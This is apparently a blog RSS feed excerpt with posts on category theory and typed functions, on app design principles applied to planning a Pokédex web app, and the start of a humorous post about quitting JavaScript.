<p>Here's an interesting question. When you use <code>(x)=&gt;x*x</code>, <em>which</em> function are you using?</p>
<h2 id="heading-typed-functions">Typed Functions</h2>
<p>Consider the <em>function</em> \(f: \mathbb{R} \rightarrow \mathbb{R}\) given by the rule \(x \rightarrow x^2\). By now we agree that this particular function is completely described by both the rule and the <strong>type signature</strong>, which denotes its domain and codomain.</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> sqr = <span class="hljs-function">(<span class="hljs-params">x: <span class="hljs-built_in">number</span></span>) =&gt;</span> <span class="hljs-built_in">number</span>
</code></pre>
<p>Suppose that javascript had <code>int</code> and <code>float</code> types (which it doesn't), in such case we could make the distinction:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">type</span> f = <span class="hljs-function">(<span class="hljs-params">x:int</span>) =&gt;</span> int
<span class="hljs-keyword">type</span> g = <span class="hljs-function">(<span class="hljs-params">x:float</span>) =&gt;</span> int
<span class="hljs-keyword">type</span> h = <span class="hljs-function">(<span class="hljs-params">x:int</span>) =&gt;</span> float
<span class="hljs-keyword">type</span> i = <span class="hljs-function">(<span class="hljs-params">x: float</span>) =&gt;</span> float
</code></pre>
<p>It does make sense right?</p>
<h1 id="heading-whats-next">What's next</h1>
<p>In the follow up I'll go back to mathematical functions and elaborate on the concept of <em>injective</em>, <em>surjective</em> and <em>bijective</em> functions. Which is the first step towards the first really important result: isomorphisms.</p>
<p>We will see it first from the point of view of the category <strong>Set</strong>. Where isomorphisms have a very particular meaning. And then we shall discuss the <em>general</em> case of isomorphisms in any category!</p>
<h1 id="heading-epilogue">Epilogue.</h1>
<p>One of the end goals I have for this series is exploring and understanding a kind of mathematical objects known as <em>toposes</em> (or <em>topoi</em> ). </p>
<blockquote>
<p>What I mean by that is that I want to understand those things. Because I don't. I am not an expert. Not even close. I am not even a mathematician (sadly). So don't take anything I say as true. I may (and probably will) make some very dumb mistakes!</p>
</blockquote>
<p>You can think of toposes as generalized set theories. Or you may say that the category <strong>Set</strong> is a topos. A way to think about them is as a "nice place to build mathematics". Mathematicians in the early 1900's "built" mathematics from a rigorous set theoretical foundation. Because the found way of expressing logic with sets and functions.</p>
<p>But the logic that emerges in toposes is <em>intuitionistic</em> rather than the classical logic you can build in set theory. </p>
<p><a target="_blank" href="https://plato.stanford.edu/entries/intuitionism/">Intuicionism in the philosophy of mathematics</a> holds that mathematics is a creation of the mind. And not so much an "ontological constant" that uncovers the true nature of the universe. </p>
<p>Mathematical communication serves as a means of making other people acquire the same mental state. <a target="_blank" href="https://plato.stanford.edu/entries/logic-intuitionistic/">Intuitionism</a> also holds that math is the foundation of logic and not the other way around. The intuitionistic approach to logic may serve as a way for formalizing <em>other ways of reasoning</em> which <em>we</em> humans use. Which I think are important for creativity. Here's <a target="_blank" href="https://jorgerl.hashnode.dev/categorially-represented-non-monotonic-logics-or-how-i-think-i-broke-an-ai">another of my blog posts where I talk about that</a>.</p>
<p>On the Computer Science aspect, toposes may be the adequate terrain to talk about <a target="_blank" href="https://en.wikipedia.org/wiki/Semantics_%28computer_science%29">programming language <em>semantics</em></a>.</p>
]]></content:encoded></item><item><title><![CDATA[How to think and learn about design. Also, I'm designing and building a Pokédex!]]></title><description><![CDATA[I want to design an app. And build it with Next.js, tailwind CSS, and AWS. The build part is straightforward, even if not easy.
But the design part?
First, some preliminary research, then let's put it into practice!
I don't have the faintest idea on ...]]></description><link>https://blog.jrlgs.dev/how-to-think-and-learn-about-design-also-im-designing-and-building-a-pokedex</link><guid isPermaLink="true">https://blog.jrlgs.dev/how-to-think-and-learn-about-design-also-im-designing-and-building-a-pokedex</guid><category><![CDATA[Twitter]]></category><category><![CDATA[Frontend Development]]></category><category><![CDATA[Design]]></category><category><![CDATA[UX]]></category><category><![CDATA[General Programming]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Wed, 06 Apr 2022 04:08:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1649217732987/89H7Qs0yB.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I want to design an app. And build it with Next.js, tailwind CSS, and AWS. The <em>build</em> part is straightforward, even if not easy.</p>
<p>But the <em>design</em> part?</p>
<h1 id="heading-first-some-preliminary-research-then-lets-put-it-into-practice">First, some preliminary research, then let's put it into practice!</h1>
<p>I don't have the faintest idea on how to start. So, as always, my first solution is to do some research.</p>
<p>In this essay, I will elaborate on what I have learned about design, and what it is. To get some practical advice for me on <em>how</em> to do it. To learn how to build an app.</p>
<p>Then I will <em>design</em> an app using that practical advice. A Pokédex. I will build it in subsequent posts. To keep this post as uncluttered as possible.</p>
<h2 id="heading-the-dribbbilisation-of-design">The <em>dribbbilisation</em> of design</h2>
<p>I recently read a thought-provoking article titled <a target="_blank" href="https://www.intercom.com/blog/the-dribbblisation-of-design/">"The dribbbilisation of design"</a> by Paul Adams. Which I highly recommend that you check out if you are interested in design and UX. Most of this blog post will be heavily based on the discussion on that article.</p>
<p>Here's the main thesis: The craft of <em>design</em> is net moving backward due to designers <em>designing</em> for designers. Not for users. The social-media-ness of websites like dribble leads their communities to put an emphasis on new <em>design goals</em> for designers participating. Designers now have the socially-favored goal of making designs that appeal to their peers. Instead of, you know, designing for solving user needs.</p>
<p>The author argues that the community around dribble (and other design-focused social media) rewards superficial work. Yet design is anything but superficial. Thus, the whole craft is marching backward. Much to his dismay.</p>
<p>I'm sure you have seen it. <em>That</em> style that appears on every google image search for "mobile app Figma". Here, let me share a screenshot.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649212722484/YlJDPvRIx.png" alt="Screen Shot 2022-04-04 at 11.29.26.png" /></p>
<p>In 2020, blogger Teisanu Tudor decided to do a clever <a target="_blank" href="https://uxdesign.cc/i-disguised-as-an-instagram-ux-influencer-for-4-months-this-is-what-i-learned-about-our-community-4a4b4e8844b">etnographic study of <em>Instagram UX-ers</em> in their natural habitat</a>. He disguised himself as an Instagram "UX influencer" with the purpose of understanding <em>why</em> and <em>how</em> designers share their work.</p>
<p>The initial assumption was that "most people create UX-design-related posts on Instagram only to increase exposure, audience and potential leads". And the ensuing study was directed at testing that assumption. His findings were quite nuanced. And sheds some light on the subtleties involved in analyzing complex social phenomena.</p>
<ol>
<li><p>For most people, exposure, and leads are <em>consequences</em> rather than goals</p>
</li>
<li><p>The primary goal seems to be to receive validation on their skills from other designers in the community</p>
</li>
<li><p>Joining the community is easy, if you follow the <em>rules</em> and <em>definition</em> of what UX <em>is</em>!</p>
</li>
<li><p>Criticism, no matter how small, triggered defensive and sometimes <em>aggressive</em> behavior. But at the same time, it encouraged people to speak up against a shallow definition of design. But real discussions are difficult.</p>
</li>
<li><p>Thanks to Instagram's format, the meaning of UX seems to be shifting. It is now ok to describe it as <em>shiny, visual</em> and <em>conceptual</em> work.</p>
</li>
<li><p>The same applies to tutorials.</p>
</li>
</ol>
<p>It seems that gatekeep-ed communities tend to favor groupthink and shallow definitions of complex ideas. A social reward system that thrives in quick and easily-digestible content is the consequence of millions of participants competing with each other for social validation.</p>
<p>Thus, the underlying ideas tend to converge into watered-down versions of themselves.</p>
<p>He concludes his study by saying:</p>
<blockquote>
<p>"Well…doesn’t it bother anyone that people look at these platforms and see design as a continuously positive, happy, easy, 10-step-quick-learn discipline? How can we both argue for design requiring method, process, and investment, while not caring about the way it’s presented in communities (as the one on Instagram, described here) which will only grow? This positive loop backed by a community that can’t react to constructive criticism can only be toxic towards our field. We did what we know best, we abused a product. We took an existing channel, we saw that there are millions of people using it, and fed them with tiny pieces of information which are easy enough to grasp, but difficult enough to turn them into the pseudo-experts."</p>
</blockquote>
<p>Ouch...</p>
<hr />
<p>I'm gonna leave you with some thoughts of my own.</p>
<p>There seem to be two ways that ideas (the scientific term is <em>memes</em>, but not necessarily the internet kind) can spread.</p>
<ul>
<li><p>Either by serving as a trigger for honest discussion. So each participant can share their opinion.</p>
</li>
<li><p>Or by dominating and extinguishing all other ideas in the community.</p>
</li>
</ul>
<p>The big drawback of the second is that groupthink is favored. Eventually, any other opinion becomes heretical or at least perceived as <em>offensive</em>.</p>
<p>Does your community put <em>rules</em> of courtesy that discourage any kind of criticism? Then it may run the risk of "dribbbilisation".</p>
<p>Please keep in mind that feedback, and constructive criticism, is not necessarily at odds with courtesy. I just don't like it when people confuse courtesy with no-criticism.</p>
<p>In fact, I would argue that a community that favors dull "great job!" comments with no real substance tends to dribbbilisation. Which kills the diversity of ideas and opinions.</p>
<p>And, ultimately, makes creativity impossible.</p>
<blockquote>
<p>Which is something that really breaks my heart.</p>
</blockquote>
<h3 id="heading-why-is-this-relevant">Why is this relevant?</h3>
<p>Well, I am researching <em>how</em> to design an app. I am now aware of one <strong>BIG potential pitfall</strong> I may otherwise fall into during my quest.</p>
<h4 id="heading-i-should-avoid-dribbbilised-tutorials-and-resources-like-the-plague">I should avoid "dribbbilised" tutorials and resources like the plague!</h4>
<p>In a particularly perverse twist, I am more likely to find worthless tutorials than genuinely useful ones. Due to the social dynamics of the whole dribbbilisation phenomena.</p>
<p>There's some <a target="_blank" href="https://fs.blog/mental-model-greshams-law/">Grasham's law crap going on</a>. Bad <em>design</em> drives out good design. Just like <em>bad</em> money drives out <em>good</em> money.</p>
<p>Put in behavioral terms. Bad behavior, when valued the same (or more), will drive out good behavior in a social group.</p>
<p>The bad behavior, in this case, is, obviously, the "path of least resistance" towards the goal of Instagram likes and dribble noteworthiness.</p>
<p>As far back as Aristophanes' play <em>The Frogs</em> this idea can be found. Not only about money, but about human resources.</p>
<blockquote>
<p>I’ll tell you what I think about the way
this city treats her soundest men today:</p>
<p>By coincidence more sad than funny,
it’s very like the way we treat our money.</p>
<p>The noble silver drachma, which of old
we were so proud of, and the one of gold
coins that rang so true, throughout the world
have ceased to circulate.</p>
<p>Instead the purses of Athenian shoppers
are full of phoney silver-plated coppers.</p>
<p>Just so, when men are needed by the nation,
The best have withdrawn from circulation.</p>
</blockquote>
<p>...</p>
<p>Luckily, that very first article I showed you has a very insightful discussion on what design should achieve. As well as resources to get started.</p>
<p>So let's continue the discussion with what I have learned about <em>design</em>.</p>
<h2 id="heading-design">Design</h2>
<p>Here's my best attempt at putting in plain terms what design is.</p>
<h4 id="heading-design-is-the-craft-of-solving-a-practical-problem-somebody-has-in-a-generic-way-that-works-seamlessly-with-what-they-are-familiar-with-even-if-the-problem-is-subtle-or-the-solution-is-unfamiliar">Design is the craft of solving a practical problem somebody has, in a generic way that works seamlessly with what they are familiar with. Even if the problem is subtle, or the solution is unfamiliar.</h4>
<p>Cognitive scientist and legendary designer Donald Norman wrote an amazing book titled <em>"the design of everyday things"</em>. His main thesis is that people will automatically leverage <em>their own</em> mental models when trying to use a product, either physical or digital. A good designer, then, can masterfully leverage what people already know and expect, in novel and clever ways. To solve a need the user has. He called it "user-centered design".</p>
<p>Note that I said nothing about the designer's ability to craft <em>pretty things</em>. It may be the case that pretty designs serve the purpose, but it is not the case that <em>that in itself</em> makes for good design.</p>
<blockquote>
<p>That being said, I do value pretty and shiny things myself. In my case, they help me keep my focus on things. Something I struggle a lot with because I have ADHD.</p>
</blockquote>
<p>Yet, in a subsequent book, <em>"Emotional Design"</em> Norman backtracks some of his claims. Mainly those that imply that the aesthetics are not important. Or that design is mainly a <em>cognitive</em> concern.</p>
<p>He says, bluntly, that we use things that we find pretty, interesting, or emotionally pleasing. Even when they are <em>bad</em> design in terms of the "mental model" view he previously defended.</p>
<p>I think there is some aspect of both in good design. Norman uses the new term "human-centered design". To focus on design that puts the <em>human</em> first, their needs, capabilities, and behavior. And attempts to accommodate for those.</p>
<h3 id="heading-so-what-shows-good-design">So what <em>shows</em> good design?</h3>
<p>According to Paul Adams, from the "dribbbilisation of design" article I shared above. The best job applicants <em>send their thought processes</em>. Sketches, diagrams. Pros and cons. Tradeoffs with potential solutions to real problems. Prototypes to illustrate an idea. And so.</p>
<p>In contrast, the worst applicants send PDFs full of wireframes. Don't take the time to articulate a problem, nor address any business or technical constraints. They give no context. But their <em>designs</em> are pixel-perfect, retina-ready, PNGs made with an eye on Dribble.</p>
<p>Thus <em>redesigns</em> of popular applications (like Facebook) are pretty much worthless. Or "pure folly" as he calls it. There is no problem-solving involved.</p>
<p>He laments that "ugly" sketches and prototypes, or explanations of tradeoffs are just not something you can find on the dribble. Instead, you will for sure find that <em>shiny</em>, <em>conceptual</em> (whatever that means), UX "design" which solves no problem whatsoever.</p>
<p>The really perverse thing is that Dribble itself is (or could be) a great thing. But if you are a newbie trying to learn, can you guess what are you more likely to find?</p>
<p>Can you guess what newcomers to design will come to think <em>design is</em> if the easiest resource to use is something like what dribble's community favor?</p>
<h3 id="heading-design-fulfills-a-purpose">Design fulfills a purpose</h3>
<p>Suppose you have a business. Apart from making money, why are you bothering with this? That's your mission. What do you expect or aim for in the future? That's your vision.</p>
<p>After that, you have the <em>product architecture</em>. Which, as I understand it, is the description of the components of your product and how they relate to one another. Not so much the technical architecture, nor the diagram of screen transitions.</p>
<p>Once you are clear about your mission, vision, and product architecture you have a way to frame the rest of your design efforts. That is, you have taken the time of figuring out the purpose you will have your design achieve.</p>
<p>In other words, now you have a problem to solve with design.</p>
<h3 id="heading-four-layers-of-design">Four layers of design</h3>
<p>Adams claims that the process of design is multilayered, with some order implied. So you should design layer-by-layer, at least in the ideal case.</p>
<ol>
<li><p><em>Outcome</em>. Figure out the outcome you want to achieve. What will be the result of people using your product? Your project is almost doomed to failure without a clear outcome defined.</p>
</li>
<li><p><em>Structure</em>. How is the product architected? What components make it up, and how are they related? Are those components and relations adequate for the intended outcome?</p>
</li>
<li><p><em>Interaction</em>. What sequences of behavior and events would produce the desired outcome when users interface with the components that make up your product?</p>
</li>
<li><p><em>Visual</em>. Make things look beautiful and appealing. Only when the outcome, structure, and interactions are well understood and defined.</p>
</li>
</ol>
<p>I think there is room for some back-and-forth in the process. Especially in light of our discussion about <em>emotional design</em>.</p>
<h3 id="heading-the-jobs-framework">The <em>Jobs framework</em></h3>
<p>In the book "Competing against luck" Harvard professor Clay Christensen discusses <em>how companies succeed</em>. He suggests <a target="_blank" href="https://hbswk.hbs.edu/item/clay-christensen-the-theory-of-jobs-to-be-done">the <em>theory of jobs to be done</em></a>. It says that when people buy or chose a product, they "hire" it to do a job that needs to be done. If the product does the job well, people will "hire" it again. If it does a bad job, they "fire" it.</p>
<p>This presents an interesting point of view. You have to take the <em>context</em> in which you are designing into account. Not only the design itself. Because thinking this way leads to the question</p>
<blockquote>
<p>What needs to be fired, for my product to be hired?</p>
</blockquote>
<p>Paul Adams also adapts the famous "connextra" template for user stories for product design. In as much as it needs to take the user's point of view to figure out which jobs need to be done.</p>
<blockquote>
<p>When X, I want to Y, so I can Z.</p>
</blockquote>
<h3 id="heading-hiring-a-milkshake">Hiring a <em>Milkshake</em></h3>
<p>Christensen shares a story about a fast-food restaurant chain that wanted to <a target="_blank" href="https://hbswk.hbs.edu/item/clay-christensens-milkshake-marketing">improve the sales of their milkshakes</a>. Their marketing team's first approach was to segment its market both by product and by demographics.</p>
<p>Then they asked people that fit the demographic to describe their "ideal milkshake". They would then take that feedback and improve their milkshakes. However, the sales did not improve.</p>
<p>The company then asked Christensen for help. His approach was somewhat different. He asked the clients coming for a milkshake, what "job" they were "hiring" the milkshake to do.</p>
<p>He found that around 40 % of the customers purchased the milkshakes in the morning because they wanted something to keep them entertained during their commute. And even though they weren't really hungry at the time of the purchase, they wanted something to offset hunger until lunch later in the day.</p>
<p>And reasoned about the characteristics of a milkshake fit for that job. Customers preferred milkshakes over donuts or bagels because milkshakes are tidier than those other options. And can be handled with just one hand. Thicker milkshakes with thinner straws performed the job of "keeping customers entertained during the boring commute" better than thinner milkshakes.</p>
<p>You can <a target="_blank" href="https://youtu.be/s9nbTB33hbg">watch the talk here</a></p>
<hr />
<p>The way I understand it is this:</p>
<p>X or Y characteristics do not necessarily make for a good product. For example, its "usable", "pleasant to look at", "frictionless". Having those traits does not automatically make a product good.</p>
<p>Rather, a good product accomplishes a <em>job</em> well. Better than others competing for the same customers. &lt;- this is key!</p>
<p>Which characteristics make for a <em>job</em> well done will depend completely on the particular context and market that the product is competing in. Therefore, some contexts may press for a "frictionless" experience, while others may put priority on a beautiful design.</p>
<p>The bottom line is, it depends... its the job of the designer to figure that out.</p>
<p>So that's what I am gonna attempt next!</p>
<hr />
<h1 id="heading-designing-a-pokedex-really">Designing a Pokédex (really)</h1>
<p>Ok, now it is time to put what I learned into practice. I will try my hand at designing... a Pokedex!</p>
<p>I will focus on both the <em>cognitive</em> and <em>emotional</em> dimensions of design that Don Norman talks about. And I will proceed in the layer order that Paul Adams suggests.</p>
<p>I will start framing the first step of Adam's layers in terms of the jobs framework. Let's take some time to ask why someone may "hire" my Pokédex!</p>
<blockquote>
<p>Actually, why I would hire my own Pokedex. As I am gonna be its user.</p>
</blockquote>
<h2 id="heading-outcome-and-goals">Outcome and goals</h2>
<p>First, let's consider the <em>mission</em>. Hopefully, that should shed some light on what the outcome and goals should be.</p>
<p>Why am I bothering with this? I want to learn about design and front-end, of course.</p>
<p>But why with a Pokédex? Well, I like Pokémon games. A lot. And I use online resources when I play to help me figure things out. Like pokémon locations.</p>
<p>When I need to use such online resources I usually have two options. Either search for a Pokédex web app. Or look at a wiki, like Serebii or Bulbapedia. Let's examine those options.</p>
<p>The very first result when searching for a Pokédex is the official pokémon website. Which has a very "marketing-ish" looking Pokédex with too little relevant information. Look at <a target="_blank" href="https://www.pokemon.com/us/pokedex/charizard">Charizard's entry</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649212752720/7NVCHqy2N.png" alt="Screen Shot 2022-04-04 at 17.10.38.png" /></p>
<p>and too much irrelevant stuff, like the anime or the trading card game. Which I couldn't care less about.</p>
<p>The second result is the Pokédex from pokemon.gameinfo.io <a target="_blank" href="https://pokemon.gameinfo.io/en/pokemon/7-squirtle">here's Charizard's entry</a> This is a Pokédex made for PokémonGO players. Which is a game I have never played, nor that I care about that much. Again, it has too much irrelevant information and misses what I would find relevant.</p>
<p>A similar problem happens with Bulbapedia. It has information about every aspect of pokémon. But I only care about the mainline games. So, there is a lot of useless information for me. In fact, so much that I have trouble finding the "games" section on any one article. (I have ADHD so this may be a very particular problem of mine and not a design flaw of Bulbapedia's)</p>
<p>Serebii is a little bit more relevant for me. Because even if it has info about all the pokemon ecosystem, it is "segmented" in a sense, so I can easily avoid information about the anime when researching. The problem with Serebii is that it looks horrible (remember the <em>emotional design</em> part?). And the navigation is really confusing for me.</p>
<p>Finally, there's the Pokémon Showdown! Pokédex. Which is geared toward competitive players. But I suck at competitive pokemon. So, although it has a lot of in-depth information, It is not very relevant to me.</p>
<p>BUT!</p>
<p>It has <em>really good</em> interaction. It is uncluttered and presents the relevant information really well. You type in a search bar and a list of suggestions appears in real-time. Then, if you click on any one of those the screen divides into two halves. One for the search and one for the pokémon's entry.</p>
<iframe src="https://giphy.com/embed/sxHEGR9EBbEmMQSNp5" width="480" height="330" class="giphy-embed"></iframe>

<p>I think that Pokémon Showdown!'s Pokédex interaction is very well designed to achieve its purpose: quick lookup of relevant information. I would say it is very "hirable". In as much as the <em>job</em> I need a Pokédex to do really well is to <em>lookup relevant info</em> seamlessly when I'm playing.</p>
<p>So I have at least three needs.</p>
<ol>
<li><p>An interface optimized for quick lookup,</p>
</li>
<li><p>with only relevant info and</p>
</li>
<li><p>a seamless experience.</p>
</li>
</ol>
<p>The outcome should be an app that performs those things well. That's the job.</p>
<p>After this brief analysis of available options, I should reason about what I want in a Pokédex. I mainly use the Pokédex to find each Pokemon's Pokédex entry, locations, the moves they can learn, types and type matchups, base stats, and info about their leveling methods.</p>
<blockquote>
<p>If you are not a pokénerd like me, this won't make sense to you. But if you are, you can see that I am your typical casual player that focuses primarily on filling out the Pokédex.</p>
</blockquote>
<h2 id="heading-structure">Structure</h2>
<p>Here I need to figure out the components of my app. And how they relate to one another to fulfill the job I stated above.</p>
<ol>
<li><p>Search bar with update-as-you-type behavior</p>
</li>
<li><p>Pokémon catalog or "browser" in a grid</p>
</li>
<li><p>Info "page" that slides into frame without reloading</p>
</li>
<li><p>Map "page" that slides into frame without reloading</p>
</li>
</ol>
<p>One of my goals is a <em>seamless</em> experience, so I need the app to be a single-page application that doesn't reload. And the two main components, the browser/search, and the info "pages" should lead very easily into one another.</p>
<p>I can already see some stretch goals that would be nice to have.</p>
<ol>
<li><p>User accounts or at least local storage.</p>
</li>
<li><p>"collection" tracker for individual users.</p>
</li>
<li><p>A mobile version of the app.</p>
</li>
</ol>
<p>You may be concerned a little because of that last point. As it implies that I am not taking a "mobile-first" approach with the interface. That's true. But when playing I mainly use a Pokédex on my laptop.</p>
<p>And on the other hand, if make a mobile app (or mobile-size responsive web app) I intend to build it all from scratch. Because the current interaction system I have in mind works better on a larger screen.</p>
<p>Let's take a look into that.</p>
<h2 id="heading-interaction">Interaction</h2>
<p>The interaction should be quite simple. And I will focus especially on that "seamless" experience.</p>
<p>The very first thing you see is a search bar and a grid of all pokemon. As you type, the results on the grid get filtered out. If you click on any one cell, a frame <em>slides</em> from the side occluding the search section.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649214673055/1OVUvvx4g.jpeg" alt="14817D5D-3081-43DD-B177-B3623B6B1C92.jpeg" /></p>
<p>If you click on the search section, a "transition" state will activate where you can choose from some suggestions or start typing. Which will take you back to the search state.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649214697246/XpsHW7T2A.jpeg" alt="1F474EAC-4AC7-46D1-B13B-BD39350241DE.jpeg" /></p>
<p>You can also search for the map of a particular region. In that case, the search state will transition to a "map" state. The interaction is more or less the same. But there is an intermediate state, where you can click on different sections of the map to see a list of pokémon that appear in that section. If you click on the pokémon, it will take you to the pokédex entry.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649214715946/M0UvZkpyZ.jpeg" alt="4E199B3A-0B8E-4A7C-BFCD-8F4713C4E8B8.jpeg" /></p>
<p>Finally, here's a diagram of the implied finite state machine for the interaction with the pokedex.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649214728839/fzSL-rKLc.jpeg" alt="2FC697A3-E95E-41E2-AF3A-1DA0FA3DDB2B.jpeg" />
I made a prototype with Framer. You can play around with the basic "loop".</p>
<iframe style="border:1px solid rgba(0, 0, 0, 0.1)" width="640" height="480" src="https://framer.com/embed/butyfyuJgSPld84fP0aE/F3ngj2jLz?highlights=0"></iframe>

<h2 id="heading-visuals">Visuals</h2>
<p>I will work on the visuals with Figma and/or the Procreate app on my iPad. There are some aspects I am already considering</p>
<ol>
<li>The visual design will be heavily inspired by Pokémon Sword and Shield game's interface. Clean, flat, sharp, and animated.</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1649213537915/nx0iL6Gn1.jpg" alt="Pokmon-Sword-and-Shield06132020-034813-78755.jpg" /></p>
<ol>
<li><p>A three-section layout. Search, map, and info. The "background" will have the search bar and browsing grid. The other two will be "sliding" pages.</p>
</li>
<li><p>I will implement the "page" for a pokémon and the map following the "paper page" material metaphor from google's material design.</p>
</li>
<li><p>Other material design principles like the animation for "sliding" paper, as well as bold, sharp, and flat colors and figures to guide attention.</p>
</li>
</ol>
<h2 id="heading-preliminary-technical-considerations">Preliminary technical considerations</h2>
<p>I will use Next.js with tailwindCSS for styling and framer motion for animations.</p>
<ul>
<li><p>I want to serve static pages that get <em>hydrated</em> with data coming from the PokeAPI</p>
</li>
<li><p>I will use a basic 3-component page. And the app should update the inner contents, size, and animations of each component based on the implied finite state machine for the interaction.</p>
</li>
<li><p>I want to try caching and prefetching from an external API.</p>
</li>
</ul>
<p>I am still unsure what to use for the backend, if any. And for dealing with PokéAPI's graphQL API. But if I go with the stretch goal of adding users, I will probably use AWS amplify.</p>
<h1 id="heading-epilogue">Epilogue.</h1>
<p>In the next post, I will explore the <em>technical</em> considerations of implementing this design.</p>
<p>Please note that I am learning this stuff. So any feedback will be greatly appreciated!</p>
<p>I will also be updating on Twitter with the hashtag #BuildInPublic</p>
<p>So maybe follow me on Twitter?</p>
<p><a href="https://twitter.com/jrlgs?ref_src=twsrc%5Etfw" class="twitter-follow-button">Follow @jrlgs</a></p>
]]></content:encoded></item><item><title><![CDATA[Thinking about things in many different ways]]></title><description><![CDATA[Im starting a new series. More than anything else, for my own curiosity. But by now you know that I will still make an effort to make it valuable for you, my reader!
I will explore a single concept. Here:

Thinking about things in many different ways...]]></description><link>https://blog.jrlgs.dev/thinking-about-things-in-many-different-ways</link><guid isPermaLink="true">https://blog.jrlgs.dev/thinking-about-things-in-many-different-ways</guid><category><![CDATA[Mathematics]]></category><category><![CDATA[Functional Programming]]></category><category><![CDATA[Blogging]]></category><category><![CDATA[creativity]]></category><category><![CDATA[functions]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Mon, 04 Apr 2022 04:18:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1649045506417/x64GzPFtZ.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Im starting a new series. More than anything else, for my own curiosity. But by now you know that I will still make an effort to make it valuable for you, my reader!</p>
<p>I will explore a single concept. Here:</p>
<blockquote>
<p>Thinking about things in many different ways. On purpose. And attempting to find the different contexts in which the same thing appears, often in non-obvious ways.</p>
</blockquote>
<p>It may sound odd. But I do have a purpose. </p>
<p>First, I really believe much of what we call <em>creativity</em> (at least <em>human creativity</em>) really homes in into our ability to think in such ways. </p>
<p>If you have read my blog before, you probably know that I used to work on scientific and philosophical research about what creativity is. &lt;- a surprisingly hard thing to answer!</p>
<p>I am no longer in academia, formally. But I still think of myself as someone that wants answers. So I figured I will continue my research on my own, here.</p>
<p>Second. You may not expect this, but my research was intended to be highly mathematical. But not the same kind of math that physicist usually use. Rather, the maths that can be used to talk coherently about how things relate to one another.</p>
<p>It does happen to be the same math that functional programmers love so much.</p>
<p>Category Theory. </p>
<p>Let me tell you how I think about category theory. I am not an expert, mind you.</p>
<p>A <em>category</em> is a universe of (mathematical) discourse. Or a context in which <em>things</em> have a meaning. But you can only talk about particular things in as much as they relate to other things. You cannot ask <em>what is \( X \) intrinsically?</em> That question is not really something we are interested in answering. Instead you ask <em>what is \(X\) given the relationships it holds with the rest of the things</em>.</p>
<p>So you may think of the category of sets and functions between sets. Then there is some way to identify the empty set \( \emptyset \) as having the unique property that there exactly one function </p>
<p>$$ \emptyset \rightarrow X_i $$</p>
<p>For every other set \(X_i\). In case you are wondering. It's the <em>impossible</em> function. The function that cannot be evaluated (as there are no input elements in the empty set), so it must be unique.</p>
<blockquote>
<p>In case that argument does not convince you, think what would happen if you say that there is no such function? I will comeback to this with a proof when we examine mathematical <em>functions</em> closely.</p>
</blockquote>
<p>But there are no other sets that satisfy this condition. So we could ignore what we know about the intrinsic characteristics of the empty set and say that <em>it</em> is the object that relates in such a way to every other object in the category of sets. Keep this in mind while we go through the next example.</p>
<p>Let's see an analogous example. Consider the category of <em>types</em> in Haskell and Haskell functions.</p>
<p>In Haskell there is a <code>Void</code> type (which is different from the <code>void</code> from C++). Haskell's <code>Void</code> type has the characteristic that there is no variable that can be of type <code>void</code>. Sounds familiar? Also, there is just one function that takes a <code>Void</code> and returns an object of any other type <code>a</code>, the absurd function:</p>
<pre><code class="lang-haskell">absurd :: Void -&gt; a
</code></pre>
<p>Hopefully you see the analogy. We can play the same card and say that we don't care about the intrinsic characteristics of <code>Void</code>. Only in the fact that it is unique in the way it relates to other things in its context. </p>
<p>We have a generic term for that: <em>initial objects</em>. </p>
<p>In <em>any category</em> any object that relates in such a way is an initial object. They may mean very different things, but they have the same relationship structure with the rest of the things in their context. </p>
<p>So we are somewhat forced to say that they <em>are the same</em> in a sense. Even if it may not be completely obvious.</p>
<p>And then we are forced to figure out <em>how</em> they are the same. We may not have an intuition about it, but we know they are the same, because we have a mathematical proof of that.</p>
<p>Wait, what mathematical proof? </p>
<p>Well... Functors.</p>
<p>Functors are mappings <em>between categories</em>. Which preserve the structure of whatever they map. </p>
<p>But the <em>structure</em> is all we care about!</p>
<p>Consider a functor that maps \(\emptyset \rightarrow \)<code>Void</code>. And that maps the "impossible" function in the category of sets, to the <code>absurd</code> function in the category of Haskell types. </p>
<p>I said that they were analogous. </p>
<p>But I said that because there is a functor that shows so!</p>
<hr />
<p>The bottom line is this. There is a way that we can systematically ask for analogies. Regardless of whether they make sense to us. </p>
<p>If we start there, and find a "mathematical" analogy, we can then make the effort of making sense of them! In terms that actually mean something to <em>us</em>.</p>
<p>Isn't that what <em>creativity</em> is? Or at least part of it? Making unexpected, almost-nonsensical connections. </p>
<p>And then materializing them in such a way that others understand them?</p>
<hr />
<p>Well, I will be exploring such ideas in this series. Feel free to hop along for the ride. </p>
<p>But fair warning, I <em>will</em> go deep into the maths.</p>
<p>:D</p>
]]></content:encoded></item><item><title><![CDATA[JavaScript is too hard. So I'm pivoting... into a cooking blog!]]></title><description><![CDATA[Ok, here's the thing. I suck at coding. And I don't really like frontend. I have no industry experience. 
And let's not kid ourselves, the only job title I actually will accept is that of Senior Fullstack Cloud Serverless Architect, or something.
